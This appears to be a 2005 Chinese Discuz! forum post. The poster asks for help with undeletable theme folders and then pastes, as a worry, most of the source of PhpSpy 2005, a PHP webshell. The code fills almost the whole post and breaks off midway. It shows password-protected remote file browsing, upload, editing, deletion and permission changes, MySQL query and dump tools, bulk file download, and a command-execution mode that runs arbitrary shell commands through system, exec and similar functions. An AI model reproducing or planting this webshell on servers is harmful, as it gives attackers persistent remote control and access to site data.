Discuz!官方免费开源建站系统

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索

梦飞,管理员,高手,我求助

[复制链接]
k8d 发表于 2005-1-30 01:57:34 | 显示全部楼层 |阅读模式
我是按照梦飞大哥写的教程作的,感觉很好,学到很多东东,现在有两个技术问提,请教大哥
第一,我安装dz后安装风格,没有安装成功的,我想用ftp删了风格目录,提示无限删除,想改变成777也不行。这个问提,我问了不少人,有人说应该让php生成的时候设成777,可是我不知道如何操作,总不能我每次都上去chmod吧,希望各位给支支招。
第二点更可怕。用下边的代码可以到任意目录
  1. <?php
  2. /*
  3. +--------------------------------------------------------------------------+
  4. | str_replace("-", "", "P-h-p-S-p-y") Version:2005 Full                    |
  5. | Codz by Angel                                                            |
  6. | (c) 2004 Security Angel Team                                             |
  7. | http://www.4ngel.net                                                     |
  8. | ======================================================================== |
  9. | Team:  http://www.4ngel.net                                              |
  10. |        http://www.bugkidz.org                                            |
  11. | Email: 4ngel@21cn.com                                                    |
  12. | Date:  Dec 28st(My girl friend's birthday), 2004                         |
  13. +--------------------------------------------------------------------------+
  14. */

  15. error_reporting(7);
  16. ob_start();
  17. $mtime = explode(' ', microtime());
  18. $starttime = $mtime[1] + $mtime[0];

  19. /*===================== 程序配置 =====================*/

  20. // 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效
  21. $admin['check']="1";

  22. // 验证方式,1为采用 Session 验证,其他数字则采用 Cookie验证
  23. // 默认采用 Session 验证,如果不能正常登陆,建议改为 Cookie验证
  24. $admin['checkmode']="1";

  25. // 如果需要密码验证,请修改登陆密码
  26. $admin['pass']="angel";

  27. /*===================== 配置结束 =====================*/


  28. // 允许程序在 register_globals = off 的环境下工作
  29. if ( function_exists('ini_get') ) {
  30.    $onoff = ini_get('register_globals');
  31. } else {
  32.    $onoff = get_cfg_var('register_globals');
  33. }
  34. if ($onoff != 1) {
  35.    @extract($_POST, EXTR_SKIP);
  36.    @extract($_GET, EXTR_SKIP);
  37. }

  38. $self = $_SERVER['PHP_SELF'];

  39. /*===================== 身份验证 =====================*/
  40. if($admin['check']=="1") {
  41.    if($admin['checkmode']=="1") {
  42.    /*------- session 验证 -------*/
  43.       session_start();
  44.       if ($_GET['action'] == "logout") {
  45.          session_destroy();
  46.          echo "<meta http-equiv="refresh" content="3;URL=".$self."">";
  47.          echo "<span style="font-size: 12px; font-family: Verdana">注销成功......<p><a href="".$self."">三秒后自动退出或单击这里退出程序界面&&&</a></span>";
  48.          exit;
  49.       }
  50.       if ($login) {
  51.          $adminpass=trim($_POST['adminpass']);
  52.          if ($adminpass==$admin['pass']) {
  53.             $_SESSION['adminpass'] = $admin['pass'];
  54.             echo "<meta http-equiv="refresh" content="3;URL=".$self."">";
  55.             echo "<span style="font-size: 12px; font-family: Verdana">登陆成功......<p><a href="".$self."">三秒后自动跳转或单击这里进入程序界面&&&</a></span>";
  56.             exit;
  57.          }
  58.       }
  59.       if (session_is_registered('adminpass')) {
  60.          if ($_SESSION['adminpass']!=$admin['pass']) {
  61.             loginpage();
  62.          }
  63.       } else {
  64.          loginpage();
  65.       }
  66.    } else {
  67.    /*------- cookie 验证 -------*/
  68.       if ($_GET['action'] == "logout") {
  69.          setcookie ("adminpass", "");
  70.          echo "<meta http-equiv="refresh" content="3;URL=".$self."">";
  71.          echo "<span style="font-size: 12px; font-family: Verdana">注销成功......<p><a href="".$self."">三秒后自动退出或单击这里退出程序界面&&&</a></span>";
  72.          exit;
  73.       }
  74.       if ($login) {
  75.          $adminpass=trim($_POST['adminpass']);
  76.          if ($adminpass==$admin['pass']) {
  77.             setcookie ("adminpass",$admin['pass'],time()+(1*24*3600));
  78.             echo "<meta http-equiv="refresh" content="3;URL=".$self."">";
  79.             echo "<span style="font-size: 12px; font-family: Verdana">登陆成功......<p><a href="".$self."">三秒后自动跳转或单击这里进入程序界面&&&</a></span>";
  80.             exit;
  81.          }
  82.       }
  83.       if (isset($_COOKIE['adminpass'])) {
  84.          if ($_COOKIE['adminpass']!=$admin['pass']) {
  85.             loginpage();
  86.          }
  87.       } else {
  88.          loginpage();
  89.       }
  90.    }

  91. }//end check
  92. /*===================== 验证结束 =====================*/

  93. // 判断 magic_quotes_gpc 状态
  94. if (get_magic_quotes_gpc()) {
  95.     $_GET = stripslashes_array($_GET);
  96.    $_POST = stripslashes_array($_POST);
  97. }

  98. if ($_GET['action'] == "phpinfo") {
  99.    $dis_func = get_cfg_var("disable_functions");
  100.    echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看&PHP环境变量&";
  101.    exit;
  102. }

  103. // 下载文件
  104. if (!empty($downfile)) {
  105.    if (!@file_exists($downfile)) {
  106.       echo "<script>alert('你要下的文件不存在!')</script>";
  107.    } else {
  108.       $filename = basename($downfile);
  109.       $filename_info = explode('.', $filename);
  110.       $fileext = $filename_info[count($filename_info)-1];
  111.       header('Content-type: application/x-'.$fileext);
  112.       header('Content-Disposition: attachment; filename='.$filename);
  113.       header('Content-Description: PHP Generated Data');
  114.       header('Content-Length: '.filesize($downfile));
  115.       @readfile($downfile);
  116.       exit;
  117.    }
  118. }



  119. // 程序目录
  120. $pathname=str_replace('\\','/',dirname(__FILE__));

  121. // 获取当前路径
  122. if (!isset($dir) or empty($dir)) {
  123.    $dir = ".";
  124.    $nowpath = getPath($pathname, $dir);
  125. } else {
  126.    $dir=$_GET['dir'];
  127.    $nowpath = getPath($pathname, $dir);
  128. }

  129. // 判断读写情况
  130. if (dir_writeable($nowpath)) {
  131.    $dir_writeable = "可写";
  132. } else {
  133.    $dir_writeable = "不可写";
  134. }

  135. $dis_func = get_cfg_var("disable_functions");
  136. $phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href="?action=phpinfo" target="_blank">PHPINFO()</a>" : "";
  137. $shellmode=(!get_cfg_var("safe_mode")) ? " | <a href="?action=shell">WebShell</a>" : "";
  138. ?>
  139. <html>
  140. <head>
  141. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  142. <title>PhpSpy Ver 2005</title>
  143. <style type="text/css">
  144. body,td {
  145.    font-family: "sans-serif";
  146.    font-size: "12px";
  147.    line-height: "150%";
  148. }
  149. .smlfont {
  150.    font-family: "sans-serif";
  151.    font-size: "11px";
  152. }
  153. .INPUT {
  154.    FONT-SIZE: "12px";
  155.    COLOR: "#000000";
  156.    BACKGROUND-COLOR: "#FFFFFF";
  157.    height: "18px";
  158.    border: "1px solid #666666";
  159. }
  160. .redfont {
  161.    COLOR: "#A60000";
  162. }
  163. a:link,
  164. a:visited,
  165. a:active{
  166.    color: "#000000";
  167.    text-decoration: underline;
  168. }
  169. a:hover{
  170.    color: "#465584";
  171.    text-decoration: none;
  172. }
  173. .firstalt   {BACKGROUND-COLOR: "#EFEFEF"}
  174. .secondalt   {BACKGROUND-COLOR: "#F5F5F5"}
  175. </style>
  176. <SCRIPT language=JavaScript>
  177. function CheckAll(form)
  178. {
  179.    for (var i=0;i<form.elements.length;i++)
  180.    {
  181.       var e = form.elements[i];
  182.       if (e.name != 'chkall')
  183.       e.checked = form.chkall.checked;
  184.     }
  185. }
  186. </SCRIPT>
  187. </head>

  188. <body style="table-layout:fixed; word-break:break-all">
  189. <center>
  190. <table width="760" border="0" cellpadding="3" cellspacing="0" bgcolor="#ffffff">
  191.   <tr bgcolor="#cccccc">
  192.     <td width="375" align="right" nowrap><b><?=$_SERVER['HTTP_HOST']?></b></td>
  193.     <td width="10" align="center" nowrap><b>:</b></td>
  194.     <td width="375" nowrap><b><?=$_SERVER['REMOTE_ADDR']?></b></td>
  195.   </tr>
  196.   <tr>
  197.     <td colspan="3" align="center" nowrap><a href="?action=logout">注销会话</a> | <a href="?action=dir">返回 PhpSpy 目录</a> | <a href="?action=phpenv">PHP环境变量</a><?=$phpinfo?><?=$shellmode?> | <a href="?action=sql">SQL Query</a> | <a href="?action=sqlbak">MySQL Backup</a> | <a href="http://www.4ngel.net" target="_blank" title="下载此程序">Version 2005</a></td>
  198.   </tr>
  199. </table>
  200. <hr width="760" noshade>
  201. <table width="760" border="0" cellpadding="0">
  202. <form action="" method="GET">
  203.   <tr>
  204.     <td><p>程序路径:<?=$pathname?><br>当前目录(<?=$dir_writeable?>,<?=substr(base_convert(@fileperms($nowpath),10,8),-4);?>):<?=$nowpath?>
  205.         <br>跳转目录:
  206.         <input name="dir" type="text" class="INPUT">
  207.         <input type="submit" class="INPUT" value="确定"> 〖支持绝对路径和相对路径〗
  208.     </p></td>
  209.   </tr>
  210. </form>
  211. <form action="?dir=<?=urlencode($dir)?>" method="POST" enctype="multipart/form-data">
  212.   <tr>
  213.     <td colspan="2">上传文件到当前目录:
  214.       <input name="uploadmyfile" type="file" class="INPUT">   <input type="submit" name="uploadfile" class="INPUT" value="确定">
  215.       <input type="hidden" name="uploaddir" value="<?=$dir?>"></td>
  216.   </tr>
  217.   </form>
  218.   <form action="?action=editfile&dir=<?=urlencode($dir)?>" method="POST">
  219.   <tr>
  220.     <td colspan="2">新建文件在当前目录:
  221.         <input name="newfile" type="text" class="INPUT" value="">
  222.         <input type="submit" class="INPUT" name="createfile" value="确定"></td>
  223.   </tr>
  224.   </form>
  225.   <form action="" method="POST">
  226.   <tr>
  227.     <td colspan="2">新建目录在当前目录:
  228.         <input name="newdirectory" type="text" class="INPUT" value="">
  229.         <input type="submit" class="INPUT" name="createdirectory" value="确定"></td>
  230.   </tr>
  231.   </form>
  232. </table>
  233. <hr width="760" noshade>
  234. <?php
  235. /*===================== 执行操作 开始 =====================*/
  236. echo "<p><b>\n";
  237. // 删除文件
  238. if(@$delfile!="") {
  239.    if(file_exists($delfile)) {
  240.       if (@unlink($delfile)) {
  241.          echo "".$delfile." 删除成功!";
  242.       } else {
  243.          echo "文件删除失败!";
  244.       }
  245.    } else {
  246.       echo "文件已不存在,删除失败!";
  247.    }
  248. }

  249. // 删除目录
  250. elseif($rmdir) {
  251.    if($deldir!="") {
  252.       $deldirs="$dir/$deldir";
  253.       if(!file_exists("$deldirs")) {
  254.          echo "目录已不存在!";
  255.       } else {
  256.          deltree($deldirs);
  257.       }
  258.    } else {
  259.       echo "删除失败!";
  260.    }
  261. }

  262. // 创建目录
  263. elseif($createdirectory) {
  264.    if(!empty($newdirectory)) {
  265.       $mkdirs="$dir/$newdirectory";
  266.       if(file_exists("$mkdirs")) {
  267.          echo "该目录已存在!";
  268.       } else {
  269.          echo $msg=@mkdir("$mkdirs",0777) ? "创建目录成功!" : "创建失败!";
  270.          @chmod("$mkdirs",0777);
  271.       }
  272.    }
  273. }

  274. // 上传文件
  275. elseif($uploadfile) {
  276.    echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadmyfile']['name']."") ? "上传成功!" : "上传失败!";
  277. }

  278. // 编辑文件
  279. elseif($doeditfile) {
  280.    $filename="$editfilename";
  281.    @$fp=fopen("$filename","w");
  282.    echo $msg=@fwrite($fp,$_POST['filecontent']) ? "写入文件成功!" : "写入失败!";
  283.    @fclose($fp);
  284. }

  285. // 编辑文件属性
  286. elseif($editfileperm) {
  287.    $fileperm=base_convert($_POST['fileperm'],8,10);
  288.    echo $msg=@chmod($dir."/".$file,$fileperm) ? "属性修改成功!" : "修改失败!";
  289.    echo " [".$file."] 修改后的属性为:".substr(base_convert(@fileperms($dir."/".$file),10,8),-4)."";
  290. }

  291. // 连接MYSQL
  292. elseif($connect) {
  293.    if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
  294.       echo "数据库连接成功!";
  295.       mysql_close();
  296.    } else {
  297.       echo mysql_error();
  298.    }
  299. }

  300. // 执行SQL语句
  301. elseif($doquery) {
  302.    @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
  303.    @mysql_select_db($dbname) or die("选择数据库失败");
  304.    $result = @mysql_query($_POST['sql_query']);
  305.    echo ($result) ? "SQL语句成功执行" : "出错: ".mysql_error();
  306.    mysql_close();
  307. }

  308. // 备份操作
  309. elseif ($dobackup) {
  310.    if (empty($_POST[table])) {
  311.       echo "请选择欲备份的数据表";
  312.    } else {
  313.       @mysql_connect($servername,$dbusername,$dbpassword) or die("数据库连接失败");
  314.       @mysql_select_db($dbname) or die("选择数据库失败");   
  315.       $table = array_flip($_POST[table]);
  316.       $filehandle = @fopen($path,"w");
  317.       if ($filehandle) {
  318.          $result = mysql_query("SHOW tables");
  319.          echo ($result) ? NULL : "出错: ".mysql_error();
  320.          while ($currow = mysql_fetch_array($result)) {
  321.             if (isset($table[$currow[0]])) {
  322.                sqldumptable($currow[0], $filehandle);
  323.                fwrite($filehandle,"\n\n\n");
  324.             }
  325.          }
  326.          fclose($filehandle);
  327.          echo "数据库已成功备份到 <a href="".$path."" target="_blank">".$path."</a>";
  328.          mysql_close();
  329.       } else {
  330.          echo "备份失败,请确认目标文件夹是否具有可写权限.";
  331.       }
  332.    }
  333. }

  334. // 打包下载 PS:文件太大可能非常慢
  335. // Thx : 小花
  336. elseif($downrar) {
  337.    if ($dl != "") {
  338.       $dfiles="";
  339.       foreach ($dl AS $filepath=>$value) {
  340.          $dfiles.=$filepath.",";
  341.       }
  342.       $dfiles=substr($dfiles,0,strlen($dfiles)-1);
  343.       $dl=explode(",",$dfiles);

  344.       $zip=new PHPZip($dl);
  345.       $code=$zip->out;
  346.       $filename=$_POST['rarfile'];
  347.       
  348.       header("Content-type: application/octet-stream");
  349.       header("Accept-Ranges: bytes");
  350.       header("Accept-Length: ".strlen($code));
  351.       header("Content-Disposition: attachment;filename=".$filename);
  352.       echo $code;
  353.       exit;
  354.    } else {
  355.       echo "请选择要打包下载的文件.";
  356.    }
  357. }

  358. // 查看PHP配置参数状况
  359. elseif($viewphpvar) {
  360.    echo "配置参数 ".$_POST['phpvarname']." 检测结果: ".getphpcfg($_POST['phpvarname'])."";
  361. }

  362. else {
  363.    echo "本程序由 <a href="http://www.4ngel.net" target="_blank">Security Angel</a> 小组 angel [<a href="http://www.bugkidz.org" target="_blank">BST</a>] 独立开发,可在 <a href="http://www.4ngel.net" target="_blank">www.4ngel.net</a> 下载最新版本.";
  364. }

  365. echo "</b></p>\n";
  366. /*===================== 执行操作 结束 =====================*/

  367. if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
  368. ?>
  369. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
  370.   <tr bgcolor="#cccccc">
  371.     <td align="center" nowrap width="30%"><b>文件</b></td>
  372.    <td align="center" nowrap width="17%"><b>创建日期</b></td>
  373.     <td align="center" nowrap width="17%"><b>最后修改</b></td>
  374.     <td align="center" nowrap width="12%"><b>大小</b></td>
  375.     <td align="center" nowrap width="7%"><b>属性</b></td>
  376.     <td align="center" nowrap width="17%"><b>操作</b></td>
  377.   </tr>
  378. <?php
  379. // 目录列表
  380. $dirs=@opendir($dir);
  381. while ($file=@readdir($dirs)) {
  382.    $filepath="$dir/$file";
  383.    $a=@is_dir($filepath);
  384.    if($a=="1"){
  385.       if($file!=".." && $file!=".")   {
  386.          $ctime=@date("Y-m-d H:i:s",@filectime($filepath));
  387.          $mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
  388.          $dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
  389.          echo "<tr class=".getrowbg().">\n";
  390.          echo "  <td style="padding-left: 5px;">[<a href="?dir=".urlencode($dir)."/".urlencode($file).""><font color="#006699">$file</font></a>]</td>\n";
  391.          echo "  <td align="center" nowrap valign="top" class="smlfont">$ctime</td>\n";
  392.          echo "  <td align="center" nowrap valign="top" class="smlfont">$mtime</td>\n";
  393.          echo "  <td align="center" nowrap valign="top" class="smlfont">&dir&</td>\n";
  394.          echo "  <td align="center" nowrap valign="top" class="smlfont"><a href="?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."">$dirperm</a></td>\n";
  395.          echo "  <td align="center" nowrap valign="top"><a href="?action=deldir&dir=".urlencode($dir)."&deldir=".urlencode($file)."">删除</a></td>\n";
  396.          echo "</tr>\n";
  397.          $dir_i++;
  398.       } else {
  399.          if($file=="..") {
  400.             echo "<tr class=".getrowbg().">\n";
  401.             echo "  <td nowrap colspan="6" style="padding-left: 5px;"><a href="?dir=".urlencode($dir)."/".urlencode($file)."">返回上级目录</a></td>\n";
  402.             echo "</tr>\n";
  403.          }
  404.       }
  405.    }
  406. }//while
  407. @closedir($dirs);
  408. ?>
  409. <tr bgcolor="#cccccc">
  410.   <td colspan="6" height="5"></td>
  411. </tr>
  412. <FORM action="" method="POST">
  413. <?
  414. // 文件列表
  415. $dirs=@opendir($dir);
  416. while ($file=@readdir($dirs)) {
  417.    $filepath="$dir/$file";
  418.    $a=@is_dir($filepath);
  419.    if($a=="0"){
  420.       $size=@filesize($filepath);
  421.       $size=$size/1024 ;
  422.       $size= @number_format($size, 3);
  423.       if (@filectime($filepath) == @filemtime($filepath)) {
  424.          $ctime=@date("Y-m-d H:i:s",@filectime($filepath));
  425.          $mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
  426.       } else {
  427.          $ctime="<span class="redfont">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>";
  428.          $mtime="<span class="redfont">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>";
  429.       }
  430.       @$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
  431.       echo "<tr class=".getrowbg().">\n";
  432.       echo "  <td style="padding-left: 5px;"><INPUT type=checkbox value=1 name=dl[$filepath]><a href="$filepath" target="_blank">$file</a></td>\n";
  433.       echo "  <td align="center" nowrap valign="top" class="smlfont">$ctime</td>\n";
  434.       echo "  <td align="center" nowrap valign="top" class="smlfont">$mtime</td>\n";
  435.       echo "  <td align="right" nowrap valign="top" class="smlfont"><span class="redfont">$size</span> KB</td>\n";
  436.       echo "  <td align="center" nowrap valign="top" class="smlfont"><a href="?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."">$fileperm</a></td>\n";
  437.       echo "  <td align="center" nowrap valign="top"><a href="?downfile=".urlencode($filepath)."">下载</a> | <a href="?action=editfile&dir=".urlencode($dir)."&editfile=".urlencode($file)."">编辑</a> | <a href="?dir=".urlencode($dir)."&delfile=".urlencode($filepath)."">删除</a></td>\n";
  438.       echo "</tr>\n";
  439.       $file_i++;
  440.    }
  441. }
  442. @closedir($dirs);
  443. ?>
  444. <tr class="<?=getrowbg()?>">
  445.   <td nowrap colspan="6"><table width="100%" border="0" cellpadding="2" cellspacing="0" align="center">
  446.     <tr>
  447.       <td><INPUT onclick="CheckAll(this.form)" type="checkbox" value="on" name="chkall"> <input name="rarfile" type="text" class="INPUT" value="<?=$_SERVER['HTTP_HOST']?>_Files.rar"> <input type="submit" name="downrar" value="选中文件打包下载" class="INPUT"></td>
  448.       <td align="right"><?=$dir_i?> 个目录 / <?=$file_i?> 个文件</td>
  449.     </tr>
  450.   </table></td>
  451. </tr>
  452. </FORM>
  453. </table>

  454. <?php
  455. }// end dir

  456. elseif ($_GET['action'] == "editfile") {
  457.    if($newfile=="") {
  458.       $filename="$dir/$editfile";
  459.       $fp=@fopen($filename,"r");
  460.       $contents=@fread($fp, filesize($filename));
  461.       @fclose($fp);
  462.       $contents=htmlspecialchars($contents);
  463.    }else{
  464.       $editfile=$newfile;
  465.       $filename = "$dir/$editfile";
  466.    }
  467. ?>
  468. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
  469.   <tr class="firstalt">
  470.     <td align="center">新建/编辑文件 [<a href="?dir=<?=urlencode($dir)?>">返回</a>]</td>
  471.   </tr>
  472.   <form action="?dir=<?=urlencode($dir)?>" method="POST">
  473.   <tr class="secondalt">
  474.     <td align="center">当前文件:<input class="input" type="text" name="editfilename" size="30"
  475. value="<?=$filename?>"> 输入新文件名则建立新文件</td>
  476.   </tr>  
  477.   <tr class="firstalt">
  478.     <td align="center"><textarea name="filecontent" cols="100" rows="20"><?=$contents?></textarea></td>
  479.   </tr>  
  480.   <tr class="secondalt">
  481.     <td align="center"><input type="submit" name="doeditfile" value="确定写入" class="input">
  482.       <input type="reset" value="重置" class="input"></td>
  483.   </tr>
  484.   </form>
  485. </table>
  486. <?php
  487. }//end editfile

  488. elseif ($_GET['action'] == "shell") {
  489.    if (!get_cfg_var("safe_mode")) {
  490. ?>
  491. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
  492.   <tr class="firstalt">
  493.     <td align="center">WebShell Mode</td>
  494.   </tr>
  495.   <form action="?action=shell&dir=<?=urlencode($dir)?>" method="POST">
  496.   <tr class="secondalt">
  497.     <td align="center">提示:如果输出结果不完全,建议把输出结果写入文件.这样可以得到全部内容.</td>
  498.   </tr>
  499.   <tr class="firstalt">
  500.     <td align="center">
  501.      选择执行函数:
  502.      <select name="execfunc" class="input">
  503.       <option value="system" <? if ($execfunc=="system") { echo "selected"; } ?>>system</option>
  504.       <option value="passthru" <? if ($execfunc=="passthru") { echo "selected"; } ?>>passthru</option>
  505.       <option value="exec" <? if ($execfunc=="exec") { echo "selected"; } ?>>exec</option>
  506.       <option value="shell_exec" <? if ($execfunc=="shell_exec") { echo "selected"; } ?>>shell_exec</option>
  507.       <option value="popen" <? if ($execfunc=="popen") { echo "selected"; } ?>>popen</option>
  508.      </select> 
  509.      输入命令:
  510.       <input type="text" name="command" size="60" value="<?=$_POST['command']?>" class="input">
  511.       <input type="submit" value="execute" class="input"></td>
  512.   </tr>  
  513.   <tr class="secondalt">
  514.     <td align="center"><textarea name="textarea" cols="100" rows="25" readonly><?php
  515.    if (!empty($_POST['command'])) {
  516.       if ($execfunc=="system") {
  517.          system($_POST['command']);
  518.       } elseif ($execfunc=="passthru") {
  519.          passthru($_POST['command']);
  520.       } elseif ($execfunc=="exec") {
  521.          $result = exec($_POST['command']);
  522.          echo $result;
  523.       } elseif ($execfunc=="shell_exec") {
  524.          $result=shell_exec($_POST['command']);
  525.          echo $result;   
  526.       } elseif ($execfunc=="popen") {
  527.          $pp = popen($_POST['command'], 'r');
  528.          $read = fread($pp, 2096);
  529.          echo $read;
  530.          pclose($pp);
  531.       } else {
  532.          system($_POST['command']);
  533.       }
  534.    }
  535.    ?></textarea></td>
  536.   </tr>  
  537.   </form>
  538. </table>
  539. <?php
  540.    } else {
  541. ?>
  542. <p><b>Safe_Mode 已打开, 无法执行系统命令.</b></p>
  543. <?php
  544.    }
  545. }//end shell

  546. elseif ($_GET['action'] == "deldir") {
  547. ?>
  548. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
  549.   <form action="?dir=<?=urlencode($dir)?>" method="POST">
  550.   <tr class="firstalt">
  551.     <td align="center">删除 <input name="deldir" type="text" value="<?=$deldir?>" class="input" readonly> 目录</td>
  552.   </tr>  
  553.   <tr class="secondalt">
  554.     <td align="center">注意:如果该目录非空,此次操作将会删除该目录下的所有文件.您确定吗?</td>
  555.   </tr>  
  556.   <tr class="firstalt">
  557.     <td align="center">
  558.      <input type="submit" name="rmdir" value="delete" class="input">
  559.    </td>
  560.   </tr>  
  561.   </form>
  562. </table>
  563. <?php
  564. }//end deldir

  565. elseif ($_GET['action'] == "fileperm") {
  566. ?>
  567. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
  568.   <tr class="firstalt">
  569.     <td align="center">修改文件属性 [<a href="?dir=<?=urlencode($dir)?>">返回</a>]</td>
  570.   </tr>
  571.   <form action="?dir=<?=urlencode($dir)?>" method="POST">
  572.   <tr class="secondalt">
  573.     <td align="center"><input name="file" type="text" value="<?=$file?>" class="input" readonly> 的属性为:
  574.       <input type="text" name="fileperm" size="20" value="<?=substr(base_convert(fileperms($dir."/".$file),10,8),-4)?>" class="input">
  575.      <input name="dir" type="hidden" value="<?=urlencode($dir)?>">
  576.      <input type="submit" name="editfileperm" value="modify" class="input"></td>
  577.   </tr>  
  578.   </form>
  579. </table>
  580. <?php
  581. }//end fileperm

  582. elseif ($_GET['action'] == "sql") {
  583.    $servername = isset($servername) ? $servername : 'localhost';
  584.    $dbusername = isset($dbusername) ? $dbusername : 'root';
  585.    $dbpassword = isset($dbpassword) ? $dbpassword : '';
  586.    $dbname = isset($dbname) ? $dbname : '';
  587. ?>
  588. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
  589.   <tr class="firstalt">
  590.     <td align="center">执行 SQL 语句</td>
  591.   </tr>
  592.   <form action="?action=sql" method="POST">
  593.   <tr class="secondalt">
  594.     <td align="center">Host:
  595.     <input name="servername" type="text" class="INPUT" value="<?=$servername?>">
  596.     User:
  597.     <input name="dbusername" type="text" class="INPUT" size="15" value="<?=$dbusername?>">
  598.     Pass:
  599.     <input name="dbpassword" type="text" class="INPUT" size="15" value="<?=$dbpassword?>">
  600.     DB:
  601.     <input name="dbname" type="text" class="INPUT" size="15" value="<?=$dbname?>">
  602.     <input name="connect" type="submit" class="INPUT" value="连接"></td>
  603.   </tr>
  604.   <tr class="firstalt">
  605.     <td align="center"><textarea name="sql_query" cols="85" rows="10"></textarea></td>
  606.   </tr>
  607.   <tr class="secondalt">
  608.     <td align="center"><input type="submit" name="doquery" value="执行" class="input"></td>
  609.   </tr>  
  610.   </form>
  611. </table>
  612. <?php
  613. }//end sql query

  614. elseif ($_GET['action'] == "sqlbak") {
  615.    $servername = isset($servername) ? $servername : 'localhost';
  616.    $dbusername = isset($dbusername) ? $dbusername : 'root';
  617.    $dbpassword = isset($dbpassword) ? $dbpassword : '';
  618.    $dbname = isset($dbname) ? $dbname : '';
  619. ?>
  620. <table width="760" border="0" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
  621.   <tr class="firstalt">
  622.     <td align="center">备份 MySQL 数据库</td>
  623.   </tr>
  624.   <form action="?action=sqlbak" method="POST">
  625.   <tr class="secondalt">
  626.     <td align="center">Host:
  627.     <input name="servername" type="text" class="INPUT" value="<?=$servername?>">
  628.     User:
  629.     <input name="dbusername" type="text" class="INPUT" size="15" value="<?=$dbusername?>">
  630.     Pass:
  631.     <input name="dbpassword" type="text" class="INPUT" size="15" value="<?=$dbpassword?>">
  632.     DB:
  633.     <input name="dbname" type="text" class="INPUT" size="15" value="<?=$dbname?>">
  634.     <input name="connect" type="submit" class="INPUT" value="连接"></td>
  635.   </tr>
  636.   <?php
  637.    @mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname);
  638.     $tables = @mysql_list_tables($dbname);
  639.     while ($table = @mysql_fetch_row($tables)) {
  640.       $cachetables[$table[0]] = $table[0];
  641.     }
  642.     @mysql_free_result($tables);

  643.    if (empty($cachetables)) {
  644.       echo "<tr>\n";
  645.       echo "  <td align="center" class="firstalt"><b>您没有连接数据库 or 当前数据库没有任何数据表</b></td>\n";
  646.       echo "</tr>\n";
  647.    } else {
  648.    ?>
  649.    <tr>
  650.      <td align="center" class="secondalt"><table border="0" cellpadding="3" cellspacing="1"><tr>
  651.      <td valign="top">请选择表:</td>
  652.      <td><select name="table[]" multiple size="15">
  653.    <?php
  654.    if (is_array($cachetables)) {
  655.       foreach ($cachetables AS $key=>$value) {
  656.          echo "<option value="$key">$value</option>\n";
  657.       }
  658.    }
  659.    ?>
  660.    </select></td>
  661.    </tr>
  662.    <tr nowrap>
  663.      <td>备份数据所保存的路径:</td>
  664.      <td><input type="text" class="INPUT" name="path" size="50" maxlength="50" value="./<?=$_SERVER['HTTP_HOST']?>_MySQL.sql"></td>
  665.    </tr>
  666.    </table></td>
  667.    </tr>
  668.    <tr>
  669.      <td align="center" class="firstalt"><input type="submit" name="dobackup" value="开始备份" class="INPUT"></td>
  670.    </tr>
  671.    <?php
  672.    }
  673.    echo "  </form>\n";
  674.    echo "</table>\n";
  675.    @mysql_close();
  676. }//end sql backup

  677. elseif ($_GET['action'] == "phpenv") {
  678.    $upsize=get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传";

  679.    $adminmail=(isset($_SERVER['SERVER_ADMIN'])) ? "<a href="mailto:".$_SERVER['SERVER_ADMIN']."">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href="mailto:".get_cfg_var("sendmail_from")."">".get_cfg_var("sendmail_from")."</a>";

  680.    $dis_func = get_cfg_var("disable_functions");
  681.    if ($dis_func == "") {
  682.       $dis_func = "No";
  683.    }else {
  684.       $dis_func = str_replace(" ","<br>",$dis_func);
  685.       $dis_func = str_replace(",","<br>",$dis_func);
  686.    }
  687.    
  688.    $phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No";

  689.    $info[0]  = array("服务器时间",date("Y年m月d日 h:i:s",time()));
  690.    $info[1]  = array("服务器域名","<a href="http://$_SERVER[SERVER_NAME]" target="_blank">$_SERVER[SERVER_NAME]</a>");
  691.    $info[2]  = array("服务器IP地址",gethostbyname($_SERVER['SERVER_NAME']));
  692.    $info[3]  = array("服务器操作系统",PHP_OS);
  693.    $info[5]  = array("服务器操作系统文字编码",$_SERVER['HTTP_ACCEPT_LANGUAGE']);
  694.    $info[6]  = array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']);
  695.    $info[7]  = array("Web服务端口",$_SERVER['SERVER_PORT']);
  696.    $info[8]  = array("PHP运行方式",strtoupper(php_sapi_name()));
  697.    $info[9]  = array("PHP版本",PHP_VERSION);
  698.    $info[10] = array("运行于安全模式",getphpcfg("safemode"));
  699.    $info[11] = array("服务器管理员",$adminmail);
  700.    $info[12] = array("本文件路径",__FILE__);
  701.    
  702.    $info[13] = array("允许使用 URL 打开文件 allow_url_fopen",getphpcfg("allow_url_fopen"));
  703.    $info[14] = array("允许动态加载链接库 enable_dl",getphpcfg("enable_dl"));
  704.    $info[15] = array("显示错误信息 display_errors",getphpcfg("display_errors"));
